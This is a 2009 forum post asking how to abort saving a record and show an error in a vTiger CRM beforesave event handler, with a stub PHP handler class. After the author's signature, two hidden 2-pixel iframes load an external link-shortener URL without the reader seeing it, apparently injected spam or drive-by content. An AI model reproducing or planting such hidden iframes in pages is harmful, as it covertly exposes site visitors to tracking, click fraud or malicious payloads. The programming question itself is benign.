Conditional validation in EventHandler

edited August 2009 in vtlib Vote Up0Vote Down
Hi all,
has anybody an approach on how to prevent vTiger from saving a dataset during the beforesave phase of the event handler.

e.g:


class VeranstaltungenHandler extends VTEventHandler {

function handleEvent($eventName, $data) {

if($eventName == 'vtiger.entity.beforesave') {
// Entity is about to be saved, take required action
//checking conditions on database
//in case condition is not met: STOP SAVING,
// GIVE ERROR MESSAGE
}
}
}



Any clues on how to stop the saving process and to trigger an error message?

Kind Regards
Andreas <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;

Comments

Sign In or Register to comment.